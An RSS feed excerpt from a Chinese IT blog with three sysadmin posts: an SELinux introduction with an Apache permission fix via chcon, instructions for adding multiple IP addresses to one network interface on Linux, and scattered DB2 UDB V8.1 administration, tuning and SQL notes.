GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48491.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/48491.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48491.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/48491.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/48491.html</trackback:ping><description><![CDATA[<p style="TEXT-INDENT: 2em">一、SELinux简介 </p>
<p style="TEXT-INDENT: 2em">RedHat Enterprise Linux AS 3.0/4.0中安全方面的最大变化就在于集成了SELinux的支持。 </p>
<p style="TEXT-INDENT: 2em">SELinux的全称是Security-Enhanced Linux，是由美国国家安全局NSA开发的访问控制体制。 </p>
<p style="TEXT-INDENT: 2em">SELinux可以最大限度地保证Linux系统的安全。至于它的作用到底有多大，举一个简单的例子可以证明： </p>
<p style="TEXT-INDENT: 2em">没有SELinux保护的Linux的安全级别和Windows一样，是C2级，但经过保护SELinux保护的Linux，安全级别 </p>
<p style="TEXT-INDENT: 2em">则可以达到B1级。如：我们把/tmp目录下的所有文件和目录权限设置为0777，这样在没有SELinux保护的情 </p>
<p style="TEXT-INDENT: 2em">况下，任何人都可以访问/tmp 下的内容。而在SELinux环境下，尽管目录权限允许你访问/tmp下的内容， </p>
<p style="TEXT-INDENT: 2em">但SELinux的安全策略会继续检查你是否可以访问。 </p>
<p style="TEXT-INDENT: 2em">NSA推出的SELinux安全体系结构称为 Flask，在这一结构中，安全性策略的逻辑和通用接口一起封装在与 </p>
<p style="TEXT-INDENT: 2em">操作系统独立的组件中，这个单独的组件称为安全服务器。SELinux的安全服务器定义了一种混合的安全性 </p>
<p style="TEXT-INDENT: 2em">策略，由类型实施 (TE)、基于角色的访问控制 (RBAC) 和多级安全(MLS) 组成。通过替换安全服务器，可 </p>
<p style="TEXT-INDENT: 2em">以支持不同的安全策略。SELinux使用策略配置语言定义安全策略，然后通过checkpolicy 编译成二进制形 </p>
<p style="TEXT-INDENT: 2em">式，存储在文件(如目标策略/etc/selinux/targeted/policy/policy.18)中，在内核引导时读到内核空间 </p>
<p style="TEXT-INDENT: 2em">。这意味着安全性策略在每次系统引导时都会有所不同。 </p>
<p style="TEXT-INDENT: 2em">SELinux的策略分为两种，一个是目标(targeted)策略，另一个是严格(strict)策略。有限策略仅针对部分 </p>
<p style="TEXT-INDENT: 2em">系统网络服务和进程执行SELinux策略，而严厉策略是执行全局的NSA默认策略。有限策略模式下，9个（可 </p>
<p style="TEXT-INDENT: 2em">能更多）系统服务受SELinux监控，几乎所有的网络服务都受控。 </p>
<p style="TEXT-INDENT: 2em">配置文件是/etc/selinux/config，一般测试过程中使用&#8220;permissive&#8221;模式，这样仅会在违反SELinux规 </p>
<p style="TEXT-INDENT: 2em">则时发出警告，然后修改规则，最后由用户觉得是否执行严格&#8220;enforcing&#8221;的策略，禁止违反规则策略的 </p>
<p style="TEXT-INDENT: 2em">行为。 </p>
<p style="TEXT-INDENT: 2em">规则决定SELinux的工作行为和方式，策略决定具体的安全细节如文件系统，文件一致性。 </p>
<p style="TEXT-INDENT: 2em">&nbsp;</p>
<p style="TEXT-INDENT: 2em">在安装过程中，可以选择&#8220;激活&#8221;、&#8220;警告&#8221;或者&#8220;关闭&#8221;SELinux。默认设置为&#8220;激活&#8221;。 </p>
<p style="TEXT-INDENT: 2em">安装之后，可以在&#8220;应用程序&#8221;--&gt;&#8220;系统设置&#8221;--&gt;&#8220;安全级别&#8221;，或者直接在控制台窗口输入&#8220;system </p>
<p style="TEXT-INDENT: 2em">-config- securitylevel&#8221;来打开&#8220;安全级别&#8221;设置窗口。在&#8220;SELinux&#8221;选项页中，我们不但可以设置&#8220; </p>
<p style="TEXT-INDENT: 2em">启用&#8221;或者&#8220;禁用&#8221;SELinux，而且还可以对已经内置的SELinux策略进行修改。 </p>
<p style="TEXT-INDENT: 2em">SELinux相关命令： </p>
<p style="TEXT-INDENT: 2em">ls -Z </p>
<p style="TEXT-INDENT: 2em">ps -Z </p>
<p style="TEXT-INDENT: 2em">id -Z </p>
<p style="TEXT-INDENT: 2em">分别可以看到文件,进程和用户的SELinux属性。 </p>
<p style="TEXT-INDENT: 2em">chcon 改变文件的SELinux属性。 </p>
<p style="TEXT-INDENT: 2em">getenforce/setenforce查看和设置SELinux的当前工作模式。 </p>
<p style="TEXT-INDENT: 2em">修改配置文件/etc/selinux/config后，需要重启系统来启动SELinux新的工作模式。 </p>
<p style="TEXT-INDENT: 2em">&nbsp;</p>
<p style="TEXT-INDENT: 2em">二、案例分析 </p>
<p style="TEXT-INDENT: 2em">Apache - "Document root must be a directory" 问题？ </p>
<p style="TEXT-INDENT: 2em">有可能和这个问题并发的问题还有 403 Forbidden　禁止访问的问题。 </p>
<p style="TEXT-INDENT: 2em">现象描述： </p>
<p style="TEXT-INDENT: 2em">不使用系统默认的 /var/www/html作为系统的Document Root，自己新建一个目录后修改 </p>
<p style="TEXT-INDENT: 2em">/etc/httpd/conf/httpd.conf 中的配置，然后重起Apache的Daemon，发现Apache无法起动，系统报错： </p>
<p style="TEXT-INDENT: 2em">　　Document root must be a directory </p>
<p style="TEXT-INDENT: 2em">但是，我们设置的DocumentRoot 的确是一个目录，而且apache用户具有可读权限。 </p>
<p style="TEXT-INDENT: 2em">另一种情况：新建一个虚拟目录或文件后，无法访问，显示 Forbidden, 403 Error，但文件或目录有可读 </p>
<p style="TEXT-INDENT: 2em">权限。 </p>
<p style="TEXT-INDENT: 2em">问题产生的原因： </p>
<p style="TEXT-INDENT: 2em">一开始想来想去想不出为什么，但是给我感觉是权限的问题，用传统的Linux的思维方式来看，权限绝对没 </p>
<p style="TEXT-INDENT: 2em">有问题。但是仔细一想，SELinux是不是会有其他安全的设定？ </p>
<p style="TEXT-INDENT: 2em">检查 avcmessage，查看 /var/log/messages文件，发现有类似以下内容的这样一段： </p>
<p style="TEXT-INDENT: 2em">Dec 24 17:54:59 hostname kernel: audit(1098222899.827:0): avc: </p>
<p style="TEXT-INDENT: 2em">denied{ getattr } forpid=19029 exe=/usr/sbin/httpd </p>
<p style="TEXT-INDENT: 2em">path=/var/www/html/about.html dev=dm-0 ino=373900 </p>
<p style="TEXT-INDENT: 2em">scontext=root:system_r:httpd_t tcontext=user_u:object_r:user_home_t </p>
<p style="TEXT-INDENT: 2em">tclass=file </p>
<p style="TEXT-INDENT: 2em">嘿嘿，问题找到了，果然是SELinux的新特性搞的鬼。我把目录或文件设成了user_home_t类型，因此 </p>
<p style="TEXT-INDENT: 2em">apache的进程没有权限，无法访问。针对Apache的进程所使用的SELinux target policy规定了apache的进 </p>
<p style="TEXT-INDENT: 2em">程只能访问httpd_sys_content_t类型的目录或文件。 </p>
<p style="TEXT-INDENT: 2em">解决办法： </p>
<p style="TEXT-INDENT: 2em">很简单，把目录或文件的策略类型改成 httpd_sys_content_t 就可以了。 </p>
<p style="TEXT-INDENT: 2em"># chcon -t httpd_sys_content_t [file_name | dir_name] </p>
<p style="TEXT-INDENT: 2em">然后可以用 ls -laZ 命令查看文件目录的策略类型</p>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/48491.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2008-08-28 21:57 <a href="http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48491.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>在linux下配置一个网卡多个IP的方法</title><link>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48490.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Thu, 28 Aug 2008 13:51:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48490.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/48490.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48490.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/48490.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/48490.html</trackback:ping><description><![CDATA[<span style="FONT-SIZE: 12pt">第一种方法:<br>ifconfig eth0:1 192.168.5.129 netmask 255.255.255.0<br>然后,你用ifconfig,就会发现多了一个ip,但这个ip是暂时的,重启以后就不存在了<br><br>第二种方法<br></span><span style="FONT-SIZE: 12pt">cp /etc/sysconfig/network-script..s/ifcfg-eth0 /etc/sysconfig/network-script..s/ifcfg-eth0:2<br>vi </span><span style="FONT-SIZE: 12pt">/etc/sysconfig/network-script..s/ifcfg-eth0:2<br>将DEVICE=eth0&nbsp; 更改为DEVICE=eth0:2<br>更改一下ip<br>保存退出并重启网络就ok了.这条新加的ip是永久的,只要你不删掉它.<br><br><br></span><span style="FONT-SIZE: 12pt">在linux下配置多个网卡的方法:<br></span><span style="FONT-SIZE: 12pt">cp /etc/sysconfig/network-script..s/ifcfg-eth0 /etc/sysconfig/network-script..s/ifcfg-eth1<br>vi </span><span style="FONT-SIZE: 12pt">/etc/sysconfig/network-script..s/ifcfg-eth1<br>将DEVICE=eth0&nbsp; 更改为DEVICE=eth1<br>更改一下ip 等<br>保存退出并重启网络就ok了.<br></span>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/48490.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2008-08-28 21:51 <a href="http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48490.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>DB2 UDB V8.1 管理</title><link>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32143.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Tue, 21 Aug 2007 07:12:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32143.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/32143.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32143.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/32143.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/32143.html</trackback:ping><description><![CDATA[<p align=left><a name=1><strong><span></span></strong></a></p>
<p align=left><span><span>工作学习之余对<span>DB2</span>使用知识的一点零散记录，包括<span>DB2</span>的基础知识、数据库管理、性能调优以及开发等方面，内容非常零散，而且有时不免理解有误，可能并未回头改掉，望见谅，仅供参考。</span></span></p>
<p align=left><a name=2><strong><span>DB2 </span></strong></a><span><strong><span>基本概念</span></strong></span></p>
<p align=left><span><span>在<span>DB2</span>中由上至下的几个概念：</span></span></p>
<ul type=disc>
    <li><span><span>实例<span>(Instance), </span></span></span></li>
    <li><span><span>数据库<span>(Database)</span>，</span></span></li>
    <li><span><span>表空间<span>(TableSpace)</span>，</span></span></li>
    <li><span><span>容器<span>(Container)</span></span></span></li>
</ul>
<p align=left><span><span>在一个操作系统中，<span>DB2</span>数据服务可以同时运行多个实例<span>(</span>有别于<span>Oracle</span>在一个系统内只能起一个实例<span>).</span></span></span></p>
<p align=left><span><span>数据库定义在实例中，一个实例可以包含多个数据库。在同一个实例中的不同数据库是完全独立的，分别拥有自己独立的系统编目表。<span><br><br></span>表空间有<span>2</span>种管理方式：</span></span></p>
<ul type=disc>
    <li><span><span>DMS(Database management Space)</span></span><span><span>方式</span></span></li>
    <li><span><span>SMS(System manegement Space)</span></span><span><span>方式</span></span></li>
</ul>
<p align=left><span><span>DMS</span></span><span><span>与<span>SMS</span>方式在表空间建立时指定，建好后不能转换。对于<span>DMS</span>方式，一个表空间对应了一个或多个容器<span>(Container)</span>，容器指定了数据的物理存储位置。对于<span>SMS</span>方式，只能够指定一个目录，不能够增加。</span></span></p>
<p align=left><span><span>表空间具有以下类型：</span></span></p>
<ul type=disc>
    <li><span><span>系统编目表空间<span>(SysCatSpace)</span></span></span></li>
    <li><span><span>系统临时表空间<span>(SysTempSpace)</span></span></span></li>
    <li><span><span>用户表空间<span>(UserSpace)</span></span></span></li>
    <li><span><span>用户临时表空间<span>(UserTempSpace)</span></span></span></li>
</ul>
<p align=left><span><span>一个数据库中必须存在两个系统基本的表空间，分别是系统编目表空间与系统临时表空间。在数据库中创建的任何对象都以在系统编目表空间中增加记录的方式体现，对于临时表空间，其占用磁盘大小是根据使用情况动态伸缩的，即仅在需要时才分配磁盘空间，并在使用后进行回收。此外，若用户需要创建表，则需要创建用户表空间，若需要使用临时表，则需要创建用户临时表空间。<span><br><br><br></span>容器分为三种类型：</span></span></p>
<ul type=disc>
    <li><span><span>Files </span></span><span><span>文件</span></span></li>
    <li><span><span>Devices </span></span><span><span>设备</span></span></li>
    <li><span><span>Directory </span></span><span><span>目录</span></span></li>
</ul>
<p align=left><span><span>文件与设备，用于<span>DMS</span>方式的表空间；</span></span></p>
<p align=left><span><span>目录，用于<span>SMS</span>方式的表空间，此种方式不需要人工管理数据存储文件，<span>DB2</span>可根据情况在目录中自动增加存储文件，只要磁盘空间允许。</span></span></p>
<p align=left><span><span>实质上，表空间是数据存储的逻辑位置定义，容器则是数据存储的物理位置定义。</span></span></p>
<p align=left><a name=3><strong><span>数据库的性能</span></strong></a></p>
<p align=left><span><span>影响一个数据库的性能主要有以下因素：</span></span></p>
<ul type=disc>
    <li><span><span>磁盘<span>(Disk)</span></span></span></li>
    <li><span><span>内存<span>(Memory)</span></span></span></li>
    <li><span><span>处理器<span>(CPU)</span></span></span></li>
    <li><span><span>网络<span>(Network)</span></span></span></li>
</ul>
<p align=left><span><span>其中以磁盘最为显著，<span>90%</span>的性能瓶颈可能来自于磁盘的<span>IO</span>竞争；</span></span></p>
<p align=left><span><span>其次是内存，一方面是指物理内存的总量要满足需求，另一方面是指与内存相关的配置参数应正确配置；</span></span></p>
<p align=left><span><span>当然处理器的性能也很重要，多路<span>CPU</span>会对哪些依赖计算能力的复杂<span>SQL</span>查询起到显著的效果；</span></span></p>
<p align=left><span><span>网络不属于主要因素，属于客观的环境因素，是指过慢的网速会对数据的传输造成影响。以下列出一些对于提高数据库性能有效的方法：</span></span></p>
<ul type=disc>
    <li><span><span>对于运行数据库服务的服务器可以尽可能的配置多块物理磁盘，每块的容量不必太大，这样可以有效的分担数据存储与读取操作过程的磁盘<span>IO</span>竞争。即采用多块小容量的磁盘在性能上要优于仅采用一块大容量的磁盘。</span></span></li>
    <li><span><span>如果条件允许，尽量使数据存储服务与操作系统分别运行在物理分开的磁盘上。</span></span></li>
    <li><span><span>采用<span>DMS(Database Management Space)</span>管理方式的表空间。</span></span></li>
    <li><span><span>在物理不同的磁盘上创建多个表空间。然后可以将数据和索引分别存放在不同的表空间，这样可以显著的提高性能。还可以把一个使用频繁的大表纵向拆成多个小表，分别存放在不同的表空间中，然后用一个视图进行联合。</span></span></li>
    <li><span><span>DB2</span></span><span><span>服务器可以管理裸设备，即除系统以及<span>DB2</span>服务运行磁盘以外，为<span>DB2</span>数据存放单独准备磁盘，可以是多块，分区后不需要格式化，创建裸设备后直接交给<span>DB2</span>进行管理，用于存储数据。</span></span></li>
    <li><span><span>系统的临时表空间对数据库性能影响很大，当由管理的物理内存不能满足数据库操作的需要时，<span>DB2</span>便会把临时数据写到磁盘上，这时便用到了系统临时表空间，并且这种情况会经常发生。</span></span></li>
    <li><span><span>尽量在磁盘靠近最内层磁道的位置安放数据，因为此处磁盘的访问速度较快。</span></span></li>
</ul>
<p align=left><a name=4><strong><span>与性能相关的主要参数</span></strong></a></p>
<p align=left><span><span>DB2</span></span><span><span>的参数配置分为两个级别，一个是实例级别，另一个是数据库级别。对数据服务性能影响较大的参数主要在数据库级别配置。以下是三个比较重要的内存配置参数：</span></span></p>
<p align=left><span><span>bufferpage<br>locklist<br>sortheap</span></span></p>
<ul type=disc>
    <li><span><span>bufferpage: </span></span><span><span>由同一个数据库中的所有对象共享。</span></span></li>
    <li><span><span>sortheap: </span></span><span><span>用于排序的内存交换区，非共享，不宜设置太大，否则，很容易引起内存耗尽，因为每一个事务都会申请独立的内存用于排序。</span></span></li>
    <li><span><span>locklist: </span></span><span><span>共享内存，用于记录数据服务运行中建立的锁。建议设置<span>20Mb</span>左右，需要时根据实际情况进行调整。<span>DB2</span>默认使用行级锁，如果设置太小，当锁的记录太多时，则会导致内存不足，此时<span>DB2</span>会把多个行锁升级为一个表锁，这样就会大大降低应用程序的并发性能。如果设置太大，则多分配的内存很少会被用到，导致浪费。</span></span></li>
</ul>
<p align=left><span><span>其他的一些配置参数：</span></span></p>
<p align=left><span><span>numdb: </span></span><span><span>同时可以启动的实例数目</span></span></p>
<p align=left><a name=5><strong><span>DB2</span></strong></a><span><strong><span>的常用命令</span></strong></span></p>
<p align=left><span><span>db2ilist </span></span><span><span>列出当前系统中定义的<span>DB2</span>实例<span><br>daslist </span>列出系统中的<span>DAS<br>db2 list database directory </span>列出当前实例中定义的数据库<span><br>db2 list tablespaces </span>列出当前数据库中定义的表空间<span><br>db2 list tabses [for all] </span>列出当前数据库中的表<span><br>db2 list active db </span>列出活动的数据库</span></span></p>
<p align=left><span><span>db2 get dbm config<br>get db cfg for databasename<br>db2 update db cfg for databasename using bufferpage <st1:chmetcnv w:st="on" UnitName="m" SourceValue="600" HasSpace="False" Negative="False" NumberType="1" TCSC="0">600M</st1:chmetcnv><br>db2 alter bufferpool IABMDEFAULTBP size =1<br>db2 list applications show detail</span></span></p>
<p align=left><span><span>以上命令可以在后面加<span> " show detail" </span>参数，显示详细信息。<span><br><br>DB2</span>数据存储的页大小只能在表空间级别统一指定<span>(</span>区别于<span>Oracle</span>，可以定义在表级别<span>), </span>并且建好后不能修改。<span><br><br></span>可以手工建立一个页大小为<span>4K</span>的<span>DMS</span>用户临时表空间，然后把系统默认的<span>SMS</span>系统临时表空间删除。为满足应用需求，一般还应再建立一个页大小在<span>8K</span>以上的用户临时表空间。<span><br><br>DB2 UDB V8.1 </span>对<span>RedHat Linux 9 </span>的支持不好，默认情况下无法启动<span>GUI</span>安装程序<span>(</span>可以通过设置环境<span>LD_ASSUME_KERNEL=<st1:chsdate w:st="on" Year="1899" Month="12" Day="30" IsLunarDate="False" IsROCDate="False">2.2.5</st1:chsdate></span>解决<span>)</span>，并且不会安装<span>Sample</span>数据库，控制中心也无法正常启动。</span></span></p>
<p align=left><a name=6><strong><span>DB2 SQL </span></strong></a><span><strong><span>相关</span></strong></span></p>
<p align=left><span><span>当使用<span>COUNT()</span>函数时，如果表中的记录数<span> &gt; 2 147 483 647</span>行，则函数可能返回错误的结果，这时可以使用返回类型为<span>DECIMAL(31, 0)</span>的<span>COUNT_BIG()</span>函数。<span><br><br>DISTINCT </span>关键字可以用在<span>COUNT()</span>函数中，如：</span></span></p>
<p align=left><span><span>SELECT COUNT(DISTINCT id) FROM TABLE</span></span></p>
<p align=left><span><span>这代表将不对<span>id</span>列的重复值进行计数。<span><br><br>ORDER BY</span>子句后面如果写了多个列名，需要分别指定升序或是降序。<span><br><br></span>可以在<span>load</span>大量数据时，暂时关闭表的日志选项。使用：</span></span></p>
<p align=left><span><span>ALTER TABLE ... ACTIVATE NOT LOGGED INITIALLY</span></span></p>
<p align=left><span><span>DB2</span></span><span><span>的几个特殊寄存器：</span></span></p>
<p align=left><span><span>CURRENT DATE<br>CURRENT TIME<br>CURRENT TIMESTAMP<br>USER(</span></span><span><span>用户<span>ID)</span></span></span></p>
<p align=left><span><span>有关日期的操作：</span></span></p>
<p align=left><span><span>CURRENT TIMESTAMP + 2 DAYS(or HOURS, SECONDS, MONTHS, YEARS, etc.)</span></span></p>
<p align=left><span><span>case </span></span><span><span>语句的使用：</span></span></p>
<p align=left><span><span>case when </span></span><span><span>条件一<span> then </span>动作一<span> else </span>动作二<span> end; </span></span></span></p>
<p align=left><span><span>以上可以欠套使用。</span></span></p>
<p align=left><span><span>在视图的创建语句中无法使用<span>order by </span>子句与<span> fetch n rows </span>子句。但对于<span>order by</span>可以用如下方法替代实现，不过会影响效率。</span></span></p>
<p align=left><span><span>create view v_name1(c1, c2, c3) as<br>select * from (<br>select column1, column2, column3<br>from t1<br>order by column1 ) as t1;</span></span></p>
<p align=left><span>表空间类型分为<span>SMS</span>和<span>DMS</span>，分别是<span>system management space, database management space. SMS</span>使用方便，简单，无需手工创建和维护数据存储文件。<span>DMS</span>需要手动指定<span>container</span>和存储数据的文件名，并保证有足够磁盘空间可用。<span><br></span>对于一个数据库，至少存在一个<span>page size</span>为<span>4K</span>的系统临时表空间，可以额外建立具有更大<span>page size</span>的用户临时表空间，系统会自动进行使用。<span><br><br></span>无法用<span>alter</span>语句更改一个字段的数据类型，对某些字段可以更改数据长度，这一点上相对于<span>Oracle</span>，<span>DB2</span>的限制要多一些。<span><br></span>可以使用<span>: select </span>表达式<span> from sysibm.sysdummy; </span>替代的，以下语句是等价的：<span>values </span>表达式；<span><br><br><br></span>表和视图的创建、更新、删除操作，都写日志，因此可以<span>commit</span>或<span>rollback</span>。<span><br><br></span>在<span>update</span>语句中，如果没有对定义了默认值的某个字段显式赋值，则更新时，此字段不会重新执行默认值中定义的表达式。为了让其重新执行默认值定义的表达式，可以采用以下方式：</span></p>
<p align=left><span>create table t1 (c1 varchar(32), lastupdatetime with default current timpstamp);<br>update t1 set c1 = 'new string', lastupdatetime = default;</span></p>
<p align=left><span>对于<span>DB2</span>数据库可以在创建时指定<span>codepage</span>参数，创建后不可修改。当应用程序访问数据库时，<span>DB2</span>会比较两者的<span>codepage</span>是否一致，不一致则进行代码页的自动转换。为了减少转换所带来的开销，应尽量保证应用程序所采用的代码页与数据库一致。<span><br><br></span>可以对<span>DB2 CLP</span>工具的<span>codepage</span>进行设置，使用：</span></p>
<p align=left><span>$ db2set DB2CODEPAGE= 1386</span></p>
<p align=left><span>本例中设置的是中文<span>GBK</span>字符集在<span>Windows</span>平台对应的值。注意，这个数字值是由<span>DB2</span>自己定义的。有关各种字符集在相应平台所对应的代码页值可在<span>IBM</span>网站查找。<span><br><br></span>在<span>DB2 CLP</span>中，对远程数据库编目的操作，首先把远程主机映射为本地节点，节点名自己指定，本例采用<span>TCPIP</span>连接。<span>service_name</span>一般定义在远程主机的<span>/etc/services</span>文件中。</span></p>
<p align=left><span>$ db2 CATALOG TCPIP NODE local_node_name REMOTE hostname|ip SERVER service_name </span></p>
<p align=left><span>然后把已知的远程主机的数据库映射到本地别名，注意本地别名在主机级别不能重复。节点名指定上面刚编目的节点。</span></p>
<p align=left><span>$ db2 CATALOG DATABASE db_name AS local_alias AT local_node_name USER username USING password </span></p>
<p align=left><span>现在就可以用刚才编目中定义的别名连接远程主机数据库</span></p>
<p align=left><span>$ db2 CONNECT TO local_alias USER username USING password</span></p>
<p align=left><span>获取数据库详细配置信息</span></p>
<p align=left><span>$ db2 GET CONFIGURATION SHOW DETAIL </span></p>
<p align=left><span>对于<span>DB2</span>返回的错误号，可以用以下方法查阅说明<span>(</span>以<span>sql 10008</span>为例<span>)</span>：</span></p>
<p align=left><span>$ db2 ? sql10008</span></p>
<p align=left><span>数据库的备份与恢复：<span><br><br></span>使用备份与恢复工具可以完成在不同的服务器见完整的转移数据库的工作，命令行方式如下：<span><br><br></span>备份</span></p>
<p align=left><span>$ db2 BACKUP DATABASE db_name USER user_name USING password to backup_dir_name<br>$ db2 BACKUP DATABASE dlhdb USER dlh USING admindlh TO d:\backups</span></p>
<p align=left><span>恢复</span></p>
<p align=left><span>$ db2 RESTORE DATABASE source_db_name USER user_name USING password FROM backup_dir_name TAKEN AT backup_file_create_time TO driver_letter INTO new_db_name<br>$ db2 RESTORE DATABASE dlhdb USER dlh USING admindlh FROM d:\backups TAKEN AT 20031209141056 TO d: INTO newdb</span></p>
<p align=left><span>有关实例的操作：</span></p>
<p align=left><span>设置默认实例环境变量</span></p>
<p align=left><span>$ db2 SET DB2INSTANCE=inst_name</span></p>
<p align=left><span>启动当前实例</span></p>
<p align=left><span>$ db2start</span></p>
<p align=left><span>停止当前实例</span></p>
<p align=left><span>$ db2stop [force]</span></p>
<p align=left><span>连接到某个实例</span></p>
<p align=left><span>$ db2 ATTACH TO ANSTANCE inst_name</span></p>
<p align=left><span>获取实例的配置参数</span></p>
<p align=left><span>$ db2 GET DBM CFG SHOW DETAIL</span></p>
<p align=left><span>导出数据库完整的定义到脚本文件，包括表，视图，函数，数据库参数等</span></p>
<p align=left><span>$ db2look -d sample</span><span>（数据库）<span> -a -e -l -x -m -f -o</span>（参数）<span>samplesql.out</span>（输出文件）</span></p>
<p align=left><span>load </span><span>一个表的数据时，有可能导致表空间处于<span>backup pending</span>（<span>0x0020</span>）状态。比如把整形数据<span>load</span>到<span>double</span>型的字段中。<span><br></span>处于<span>backup pending</span>状态的表空间不能被访问。<span><br></span>可以通过对此表空间运行一次<span>backup</span>操作，恢复到正常状态（<span>0x0</span>）。<span><br><br></span>对于自增字段，可以通过两种方式指定：</span></p>
<p align=left><span>generated by default as identity<br>generated always as identity</span></p>
<p align=left><span>区别是，第一种方式在插入数据时允许手工指定自增字段的值，只要不重复即可，并且数据库会自动设置下一个值；<span><br></span>第二种方式则不允许指定，只能由数据库自动分配并插入。<span><br><br><br>DB2 sql</span>语句中转义符的使用：</span></p>
<p align=left><span>select * from t1 where a like '%abc\%def' escape '\';</span></p>
<p align=left><span>创建数据库时，出现<span>SQL<st1:chmetcnv w:st="on" UnitName="C" SourceValue="1043" HasSpace="False" Negative="False" NumberType="1" TCSC="0">1043C</st1:chmetcnv></span>错误，可能的问题：<span><br></span>指定容器所在的磁盘空间不足，<span><br></span>当容器为<span>file</span>类型时，后面的<span>long-num</span>参数不对，比如<span>25600</span>代表<span>256Mb</span>，但如果指定<span>256</span>则会导致以上错误。<span><br><br><br></span>平台<span> RH Linux 8<br>DB2 UDB v8.1<br></span>在<span>WAS 5</span>中建立到<span>db2</span>的数据源，但连接失败，返回以下错误：</span></p>
<p align=left><span>[Servlet Error]-[SQLConnect]: java.lang.UnsatisfiedLinkError: SQLConnect</span></p>
<p align=left><span>原因是没有为运行<span>was</span>服务的用户设置以下环境变量：</span></p>
<p align=left><span>D_LIBRARY_PATH<br>LIBPATH<br>DB2INSTANCE<br>...</span></p>
<p align=left><span>以上环境变量定义在<span> $INSTHOME/sqllib/db2profile</span>文件中，可以采用的解决方案：</span></p>
<p align=left><span>$ sh stopServer.sh servername<br><br>$ . $INSTHOME/sqllib/db2profile<br>$ sh startServer.sh servername</span></p>
<p align=left><span>也可以把<span>db2profile</span>放到<span>was</span>启动脚本中首先执行。<span><br><br></span>如果只设置了<span>LD_LIBRARY_PATH</span>，<span>LIBPATH</span>两个环境变量，<span>DB2</span>会返回以下错误：</span></p>
<p align=left><span>CLI0600E Invalid connection handle or connection is closed.<br>SQLSTATE S1000</span></p>
<p align=left><span>对应于<span>Oracle</span>的<span>Job</span>包功能，<span>DB2</span>通过一个<span>GUI</span>工具－任务中心（<span>task center</span>）实现。使用任务中心前需要进行必要的工具设置，需要创建一些数据库对象，可以创建在已有的一个数据库中，也可以单独创建一个数据库。通过以下命令实现：</span></p>
<p align=left><span>create catalog tools schema_name create new database db_name</span></p>
<p align=left><span>此命令为编目工具创建一个名为<span>db_name </span>的数据库，并指定了一个模式名。<span><br></span>注意：无法用<span>using </span>子句指定一个<span>codeset</span>，系统会默认使用<span>ISO8859-1</span>字符集。<span><br><br><br>Quest Center for DB2</span>带有数据库性能诊断功能，动态监视<span>db</span>内存，磁盘<span>io, </span>表空间，负载等等。<span><br><br>DB2</span>客户端的类型：</span></p>
<ul type=disc>
    <li><span>DB2</span><span>运行时客户端<span> DB2 Runtime Client</span></span></li>
    <li><span>DB2</span><span>管理客户端<span> DB2 Administrator Client</span>（包含运行时客户端的所有内容）</span></li>
    <li><span>DB2</span><span>应用程序开发客户端<span> DB2 Application Development Client</span>（包含管理客户端的所有内容）</span></li>
    <li><span>DB2</span><span>瘦客户端<span> DB2 Thin Client</span></span></li>
    <li><span>DB2 Relational Connect </span><span>联邦数据库，用于连接异种数据库。</span></li>
</ul>
<p align=left><span>强制断开已有连接，停止实例并删除。</span></p>
<p align=left><span>$ db2idrop -f instance_name </span></p>
<p align=left><span>用于在<span>UNIX</span>下迁移实例。</span></p>
<p align=left><span>$ db2imigr instance_name </span></p>
<p align=left><span>更新实例，用于实例获得一些新的产品选项或修订包的访问权。</span></p>
<p align=left><span>$ db2iupdt instance_name </span></p>
<p align=left><span>获取当前所处的实例。</span></p>
<p align=left><span>$ db2 get instance </span></p>
<p align=left><span>当更新实例级别或数据库级别的参数后，有些可以立即生效，有些需要重新启动实例才可生效。<span>immediate </span>显式指明更改立即生效，<span>deferred </span>显式指明更改在重起实例后生效。<span><br><br></span>当需要配置许多台客户机与<span>DB2</span>服务器的连接时，可以用配置助手将服务器的概要文件导出，然后在每个客户机使用配置助手导入概要文件。若客户端只安装了运行时客户端，则可以使用以下命令导入概要文件。</span></p>
<p align=left><span>$ db2cfimp access_profile_name</span></p>
<p align=left><span>疑问：是否应该由已配置好的一台客户机导出概要文件？</span></p>
<p align=left><span>列出所有的数据库连接</span></p>
<p align=left><span>$ db2 list applications </span></p>
<p align=left><span>终止指定的连接句柄，事务被中断并回滚。同时操作多个句柄可以用逗号分开，或者指定关键字<span> all</span>。此命令只终止指定的连接，不会阻止新的应用连接到数据库。</span></p>
<p align=left><span>$ db2 force application (2) </span></p>
<p align=left><span>创建数据库时可以指定排序方式：</span></p>
<p align=left><span>collate using identity</span></p>
